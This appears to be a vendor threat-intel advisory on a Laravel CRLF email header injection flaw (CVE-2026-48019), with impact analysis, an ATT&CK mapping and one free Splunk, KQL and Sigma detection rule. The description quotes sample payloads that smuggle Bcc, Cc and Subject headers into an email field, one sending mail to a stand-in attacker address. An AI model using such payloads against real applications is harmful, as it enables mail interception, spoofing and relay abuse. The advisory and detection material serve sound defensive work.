# Laravel Framework CRLF Injection (CVE-2026-48019) — Outbound Email Header/Content Manipulation (CWE-93)

> Improper neutralization of CRLF sequences in Laravel's default email validation logic allows an unauthenticated attacker to inject additional recipients and headers, modify message bodies, and abuse the application's mail relay when attacker-controlled email input reaches Symfony Mailer/Mime. Patched in Laravel 13.10.0 and 12.60.0.

- **Published:** 2026-06-03T00:00:00Z
- **Last reviewed:** 2026-06-03T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0677
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-laravel-crlf-email-injection-tl-2026-0677.webp?v=fb39f7c4 (Threadlinqs threat intel: CVE-2026-48019 Laravel CRLF Injection: Detection & IOCs (TL-2026-0677) — High severity, 12 IOCs, 9 detection rules.)
- **ID:** TL-2026-0677
- **Severity:** HIGH (CVSS 8.9)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 12
- **CVEs:** CVE-2026-48019

## Description

CVE-2026-48019 is a CRLF (carriage-return/line-feed) injection vulnerability (CWE-93) in the Laravel PHP framework's default email validation logic. User-supplied email address values submitted through common application surfaces — registration, password reset, contact, newsletter, and notification flows — are insufficiently sanitized for embedded carriage-return (\r, %0d) and line-feed (\n, %0a) control characters before they are passed to the underlying Symfony Mailer and Symfony Mime components that Laravel uses for message construction and delivery.

Because email headers are newline-delimited, an attacker who embeds CRLF sequences into an address field can break out of the intended field boundary and append arbitrary additional headers or message content. Representative payloads such as 'victim@example.com\r\nBcc: attacker@evil.com' or 'victim@example.com%0d%0aCc: list@target.com%0d%0aSubject: Spoofed' cause the mail layer to emit additional recipients (Bcc/Cc), spoofed or duplicated headers (Reply-To, Content-Type, MIME boundaries), and in some configurations attacker-controlled body content. The practical impact set is: (1) silent recipient injection enabling exfiltration of outbound mail to an attacker mailbox, (2) header manipulation enabling sender/Reply-To spoofing and routing changes, (3) body/MIME manipulation, and (4) mail-relay abuse in which the victim application's trusted, authenticated, well-reputed mail infrastructure is leveraged to send phishing or spam that inherits the victim domain's SPF/DKIM/DMARC alignment.

The vulnerability is network-exploitable with no authentication and no user interaction. The assigned CVSS v3.1 vector (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L, base 8.9 HIGH) reflects a scope change — the flaw in the web application crosses a trust boundary into the separate mail-delivery system and its downstream recipients — with high confidentiality and integrity impact and low availability impact. Attack complexity is rated High because successful injection depends on the specific application code path that forwards the unsanitized address into the mail builder and on the absence of upstream input filtering.

The issue was disclosed via GitHub Security Advisory GHSA-5vg9-5847-vvmq and credited to researcher OmarXtream. It affects Laravel up to 13.9.0 and all versions before 12.60.0, and is fixed in 13.10.0 and 12.60.0, which tighten neutralization of control characters in the email validation/normalization path before values reach Symfony Mailer/Mime. At the time of analysis there is no confirmed public proof-of-concept and no observed in-the-wild exploitation; however, CRLF/email-header injection is a well-understood, low-tooling class and the affected framework is extremely widely deployed, so defenders should treat exposed unpatched instances as readily exploitable. There are no network C2 indicators associated with this vulnerability; detection focuses on outbound-mail anomalies and inbound payload patterns.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1659 Content Injection
- T1566 Phishing
- T1583 Acquire Infrastructure
- T1684.001 Impersonation
- T1114 Email Collection
- T1048 Exfiltration Over Alternative Protocol
- T1071 Application Layer Protocol

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Laravel CRLF Injection — Injected Outbound Recipients/Headers (Post-Exploitation)** (`TL-2026-0677-SPL-002`)

Detects the post-injection artifact of CVE-2026-48019: an outbound envelope from a single-recipient transactional flow that gained extra recipients or application-unset Bcc/Cc/Reply-To headers after the CRLF payload reached Symfony Mailer/Mime — silent exfiltration and sender/Reply-To spoofing.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1114, T1659, T1656
- **Data sources:** mail_gateway, smtp_logs, application_mail_log
- **Severity:** high
- **Confidence:** high

### Splunk SPL

````spl
index=mail sourcetype="mailgw:envelope" (flow=registration OR flow=password_reset OR flow=contact_form OR flow=newsletter) ``` CVE-2026-48019 post-injection artifact: single-recipient transactional flow that gained extra recipients or app-unset Bcc/Cc/Reply-To ``` | eval injected=if(injected_headers=="true" OR recipient_count>1,1,0) | where injected=1 | eval inj_type=case(recipient_count>1,"recipient_injection",isnotnull(headers.Bcc),"bcc_injection",isnotnull(headers.Cc),"cc_injection",isnotnull(headers.Reply-To),"replyto_spoof",1==1,"header_injection") | stats count values(envelope_recipients) as recipients values(inj_type) as inj_types values(headers) as hdrs by _time flow src | sort - _time
````

### Microsoft KQL

```kql
MailEnvelope_CL
| where TimeGenerated > ago(24h)
| where Flow_s in ("registration","password_reset","contact_form","newsletter")
// CVE-2026-48019: single-recipient flow that gained recipients or app-unset Bcc/Cc/Reply-To
| where InjectedHeaders_b == true or RecipientCount_d > 1
| extend inj_type = case(RecipientCount_d > 1, "recipient_injection",
                         isnotempty(Bcc_s), "bcc_injection",
                         isnotempty(ReplyTo_s), "replyto_spoof", "header_injection")
| project TimeGenerated, Flow_s, RecipientCount_d, EnvelopeRecipients_s, Bcc_s, ReplyTo_s, inj_type, SourceIp_s
| sort by TimeGenerated desc
```

### Sigma

```yaml
title: Laravel Outbound Mail With Injected Recipients/Headers From Single-Recipient Flow (CVE-2026-48019)
id: c4f1a210-0002-4d20-9e21-c0ffee260677
status: experimental
description: Detects an outbound message produced by a single-recipient application flow (registration, password_reset, contact_form, newsletter) whose envelope carries more than one recipient or application-unset Bcc/Cc/Reply-To headers. This is the post-injection artifact of CVE-2026-48019 CRLF header injection reaching Symfony Mailer/Mime.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48019
    - https://github.com/advisories/GHSA-5vg9-5847-vvmq
author: Threadlinqs Team
date: 2026/06/03
tags:
    - attack.collection
    - attack.t1114
    - attack.t1659
    - attack.t1656
    - cve.2026.48019
logsource:
    product: mail_gateway
    category: application
detection:
    selection_flow:
        flow:
            - 'registration'
            - 'password_reset'
            - 'contact_form'
            - 'newsletter'
    selection_injected:
        injected_headers: true
    selection_multi:
        recipient_count|gt: 1
    condition: selection_flow and (selection_injected or selection_multi)
falsepositives:
    - Flows legitimately configured with a static Bcc (archival/journaling) — baseline and allowlist those
level: high
```

**Known false positives:**

- Flows legitimately configured with a static archival/journaling Bcc
- Cross-org notification flows with approved additional recipients

**Tuning notes:** Baseline each transactional flow's normal recipient count and any sanctioned static Bcc (journaling). Allowlist those before alerting on recipient_count>1 / injected_headers=true.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Laravel CRLF Email Injection — Sentinel WAF CRLF Detection (Exploitation) (locked: unlock with TL Creds)
- Laravel CRLF Injection — Sentinel Injected Mail Envelope (Post-Exploitation) (locked: unlock with TL Creds)
- Laravel CRLF Injection — Sentinel Mail-Relay Abuse Spike (C2/Lateral Movement) (locked: unlock with TL Creds)
- Laravel CRLF Email Parameter Control Characters — Sigma (Exploitation) (locked: unlock with TL Creds)
- Laravel CRLF Injection — Injected Outbound Recipients/Headers — Sigma (Post-Exploitation) (locked: unlock with TL Creds)
- Laravel CRLF Injection — Exfiltration Bcc/Reply-To To Untrusted Domain — Sigma (C2/Exfiltration) (locked: unlock with TL Creds)
- Laravel CRLF Email-Header Injection — Inbound Payload (Exploitation) (locked: unlock with TL Creds)
- Laravel CRLF Injection — Mail-Relay Abuse Volume Spike (C2/Lateral Movement) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sources

- [GitHub Security Advisory GHSA-5vg9-5847-vvmq](https://github.com/advisories/GHSA-5vg9-5847-vvmq)
- [Laravel CRLF Injection Vulnerability Enables an Attacker to Interfere with Outbound Email Processing](https://cybersecuritynews.com/laravel-crlf-injection-vulnerability/)
- [Laravel CRLF Injection Flaw Could Disrupt Outbound Email Handling](https://gbhackers.com/laravel-crlf-injection-flaw/)
- [Laravel CRLF Injection Flaw Enables Email Processing Interference](https://cyberpress.org/laravel-crlf-injection-flaw/)
- [NVD - CVE-2026-48019](https://nvd.nist.gov/vuln/detail/CVE-2026-48019)
- [Laravel Framework Security Advisories](https://github.com/laravel/framework/security/advisories)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0677
